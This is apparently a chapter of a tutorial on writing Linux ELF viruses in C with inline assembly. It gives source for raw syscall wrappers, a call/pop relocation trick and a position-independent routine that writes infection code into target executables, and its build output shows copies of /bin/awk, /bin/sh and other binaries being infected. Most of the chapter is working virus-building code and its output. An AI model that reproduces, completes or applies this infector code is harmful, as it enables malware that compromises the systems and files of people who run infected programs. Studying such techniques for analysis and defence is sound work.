Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. | |
Doug Gwyn |
In the language of evil I declared the code generated by gcc to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.
Have a look at the disassembly of function write. That code checks the return value of the system call and sets variable errno on error. We don't need this. Actually we can't access global variables at all. And our code does not care for the return code, anyway.
It is also remarkable that the code loads only the four required registers. The sources of glibc make great effort to provide optimal code for every case. I find the macros in glibc-2.2.4/sysdeps/unix/sysv/linux/i386/sysdep.h quite interesting.
For our needs a simple function will do. The line starting with a colon is a constraint. It somehow declares the value that eax has after the asm block to be the value of variable result. The following return statement would load the value of result into eax again, but fortunately gcc optimizes this correctly. Of course the code would work without constraint and return. But the compiler would issue warning "no return statement in function returning non-void".
RedHat's gcc-2.96-98 produces weird code if the assembly statements are grouped in a single asm block. In that case mov ebp,esp (see the following disassembly) is done not on function entry, but after the asm.
Note that we can't name our function plain syscall. There is already such a declaration in unistd.h.
Source - do_syscall.
int do_syscall(int number, ...) { int result; asm("push %ebx; push %esi; push %edi"); asm( "mov 28(%%ebp),%%edi;" "mov 24(%%ebp),%%esi;" "mov 20(%%ebp),%%edx;" "mov 16(%%ebp),%%ecx;" "mov 12(%%ebp),%%ebx;" "mov 8(%%ebp),%%eax;" "int $0x80" : "=a" (result) ); asm("pop %edi; pop %esi; pop %ebx"); return result; } |
The dissambly proves that the return statement is really optimized (though that really does not help the bloat).
Output - do_syscall.asm.
(gdb) (gdb) Dump of assembler code for function do_syscall__Fie: 0x8049620 <do_syscall__Fie>: push ebp 0x8049621 <do_syscall__Fie+1>: mov ebp,esp 0x8049623 <do_syscall__Fie+3>: push ebx 0x8049624 <do_syscall__Fie+4>: push esi 0x8049625 <do_syscall__Fie+5>: push edi 0x8049626 <do_syscall__Fie+6>: mov edi,DWORD PTR [ebp+28] 0x8049629 <do_syscall__Fie+9>: mov esi,DWORD PTR [ebp+24] 0x804962c <do_syscall__Fie+12>: mov edx,DWORD PTR [ebp+20] 0x804962f <do_syscall__Fie+15>: mov ecx,DWORD PTR [ebp+16] 0x8049632 <do_syscall__Fie+18>: mov ebx,DWORD PTR [ebp+12] 0x8049635 <do_syscall__Fie+21>: mov eax,DWORD PTR [ebp+8] 0x8049638 <do_syscall__Fie+24>: int 0x80 0x804963a <do_syscall__Fie+26>: pop edi 0x804963b <do_syscall__Fie+27>: pop esi 0x804963c <do_syscall__Fie+28>: pop ebx 0x804963d <do_syscall__Fie+29>: pop ebp 0x804963e <do_syscall__Fie+30>: ret |
Previous examples required a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).
The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of required patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that gcc's option -fpic does not help this problem at all.
-fpic
Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)
The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A call pushes the current value of IP onto the stack and adds a relative offset to it. Offset 0 just continues with the following instruction. And if that instruction is a pop we load the the address of the pop instruction itself in a regular register.
We can compare the actual value of IP with the location the linker had in mind when it built the original executable. If the following code is executed at the exact location the linker gave it in the original file, then eax will be exactly the address of label delta after the pop. And the following sub instruction will then set eax to zero.
Source - get_relocate_ofs.
int get_relocate_ofs(void) { int result; __asm__( "call delta ;" "delta: " "pop %%eax ;" "sub $(delta),%%eax;" : "=a" (result) ); return result; } |
A dump from gdb is not enough to demonstrate this function. I want to show that the last four bytes of the opcode of the call instruction are really zero.
Command.
#!/bin/sh file=${1:-tmp/doing_it_in_c/three/infector} func=${2:-get_relocate_ofs} location=$( \ nm ${file} \ | sed -ne "/^[0-9].*${func}/s/ .*//p" \ | tr a-f A-F \ ) offset=$( echo "ibase=16; ${location} - 08048000" | bc ) ndisasm -e ${offset} -o 0x${location} -U ${file} | sed -e '/ret/q' |
Output - get_relocate_ofs.asm.
08049640 55 push ebp 08049641 E800000000 call 0x8049646 08049646 58 pop eax 08049647 2D46960408 sub eax,0x8049646 0804964C 89E5 mov ebp,esp 0804964E 5D pop ebp 0804964F C3 ret |
We now have all parts to implement a position independent version of Target::writeInfection. This code works as part of a first stage infector. Output to prove it is at the end of this chapter. It should also work as part of an infection. But do you remember the paragraph in Introduction about "exercise left to the reader"?
Compare this code with the first version. Instead of operating on a single variable, Target::infection, we write every byte between the start of infection and function end. Making sure that certain functions and constant data build a consecutive region requires little more than discipline and dirty tricks.
Source - writeInfection.
void end(); int do_syscall(int, ...); #include "infection.inc" #include "core.inc" #include "do_syscall.inc" #include "get_relocate_ofs.inc" unsigned Target::writeInfection() { int ofs = get_relocate_ofs(); char* r_begin = ofs + (char*)&infection; char* r_end = ofs + (char*)&end; unsigned size = r_end - r_begin; /* first byte is the opcode for "push" */ do_syscall(4, fd_dst, r_begin, 1); /* next four bytes is the address to "ret" to */ do_syscall(4, fd_dst, &original_entry, sizeof(original_entry)); /* rest of infective code */ do_syscall(4, fd_dst, r_begin + 5, size - 5); return size; } void end() {} |
Output - build.
Infecting copy of /bin/awk... wrote 188 bytes, skipped 3908 bytes, Ok Infecting copy of /bin/tcsh... wrote 188 bytes, skipped 3908 bytes, Ok Infecting copy of /usr/bin/which... wrote 188 bytes, skipped 3908 bytes, Ok Infecting copy of /bin/sh... wrote 188 bytes, skipped 3908 bytes, Ok |
<<< Previous | Home | |
Additional code segments |